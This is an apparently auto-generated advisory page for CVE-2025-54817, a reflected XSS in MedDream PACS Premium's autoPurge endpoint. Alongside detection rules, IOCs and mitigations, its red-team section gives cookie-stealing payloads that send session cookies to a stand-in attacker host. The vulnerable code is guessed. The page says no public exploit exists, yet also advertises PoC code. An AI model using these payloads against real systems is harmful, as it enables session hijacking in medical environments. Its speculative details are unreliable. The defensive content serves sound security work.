CVE-2025-54817
Executive Summary
CVE-2025-54817 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw exists in the autoPurge functionality, allowing an attacker to craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the context of the victim's session. This can lead to session hijacking, data theft, or further compromise of the PACS system. The vulnerability has a CVSS score of 6.1 (Medium) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation activity at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone application vulnerability in MedDream PACS Premium.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
- User Interaction: Required (UI:R) – The victim must click a malicious link.
- Scope: Changed (S:C) – The XSS can impact resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited ability to modify data.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for session hijacking in a medical PACS environment elevates the risk.
Deep Dive & Mechanics
The vulnerability resides in the autoPurge functionality of MedDream PACS Premium. This feature likely handles automatic deletion or cleanup of old studies or data. The flaw is a reflected XSS, meaning the malicious script is injected into the HTTP response via a crafted URL parameter.
Root Cause: The application fails to properly sanitize user-supplied input in the autoPurge parameter before reflecting it back in the HTML response. An attacker can inject JavaScript code into this parameter, which is then executed by the victim's browser.
Attack Flow:
- Attacker crafts a URL:
https://target-mediadream-pacs.com/autoPurge?param=<script>alert('XSS')</script> - Attacker sends this URL to a victim (e.g., via phishing email).
- Victim, authenticated to the MedDream PACS system, clicks the link.
- The server processes the request and reflects the malicious script in the response.
- The victim's browser executes the script, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely looks like:
Vulnerable Code (PHP/Python/Java example):
<?php
$param = $_GET['param'];
echo "<div>AutoPurge: " . $param . "</div>";
?>
Patched Code (Hypothetical):
<?php
$param = htmlspecialchars($_GET['param'], ENT_QUOTES, 'UTF-8');
echo "<div>AutoPurge: " . $param . "</div>";
?>
The patch would involve proper output encoding using functions like htmlspecialchars() in PHP, escape() in Python, or encodeForHTML() in Java.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A vulnerable MedDream PACS Premium 7.3.6.870 instance.
- A victim user authenticated to the system.
- A web server to host the exploit (optional).
Exploit Payload:
<script>alert('XSS')</script>
Step-by-Step:
- Identify the vulnerable parameter (e.g.,
paramin theautoPurgeendpoint). - Craft a malicious URL:
https://target-mediadream-pacs.com/autoPurge?param=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Send the URL to the victim via email or social engineering.
- When the victim clicks the link, their session cookie is sent to the attacker's server.
Advanced Payload (Session Hijacking):
var img = new Image();
img.src = 'https://attacker.com/steal.php?cookie=' + document.cookie;
Blue Team (Defense & Detection)
Detection:
- Monitor web server logs for suspicious
autoPurgerequests containing<script>tags or encoded JavaScript. - Use WAF rules to block reflected XSS patterns.
Mitigation:
- Apply input validation and output encoding.
- Implement Content Security Policy (CSP) headers.
- Restrict access to the
autoPurgeendpoint to trusted IPs.
Lab Setup:
- Use a local VM running MedDream PACS Premium 7.3.6.870.
- Set up a simple PHP server to capture stolen cookies.
- Use Burp Suite to craft and test payloads.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/autoPurgewith parameters containing<script>tags or base64-encoded JavaScript. - Outbound connections to attacker-controlled domains from the PACS server.
- HTTP requests to
- File IOCs:
- Suspicious entries in web server access logs (e.g.,
GET /autoPurge?param=<script>).
- Suspicious entries in web server access logs (e.g.,
- Behavioral IOCs:
- Unexpected session timeouts or account activity.
- Unusual JavaScript execution in the browser.
Detection Engineering
YARA Rule
rule CVE_2025_54817_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against MedDream PACS autoPurge endpoint"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-54817"
strings:
$xss_payload = /autoPurge\?.*(<script|%3Cscript|onerror|onload|javascript:)/
condition:
$xss_payload
}
Sigma Rule
title: Reflected XSS Attempt Against MedDream PACS autoPurge
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests to MedDream PACS autoPurge endpoint with XSS payloads
author: Valters IT
date: 2025-04-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-54817
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- '<script'
- '%3Cscript'
- 'onerror='
- 'onload='
- 'javascript:'
cs-uri-stem|contains: '/autoPurge'
condition: selection
falsepositives:
- Legitimate use of JavaScript in parameters (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-54817 MedDream PACS Reflected XSS Attempt"; flow:to_server,established; content:"/autoPurge"; http_uri; pcre:"/(<script|%3Cscript|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
autoPurgefunctionality if not critical, or restrict access to it via firewall rules. - Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
- Apply input validation – whitelist allowed characters for the
autoPurgeparameter. - Use output encoding – ensure all user-supplied data is HTML-encoded before reflection.
Long-Term Fix:
- Contact MedDream for a patch. Since no patch is available, consider upgrading to a newer version or migrating to a different PACS solution.
- Conduct a full security audit of the application.
Workaround:
- Add a reverse proxy (e.g., Nginx) with a rule to block suspicious requests:
if ($args ~* "(<script|%3Cscript|onerror|onload|javascript:)") {
return 403;
}
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.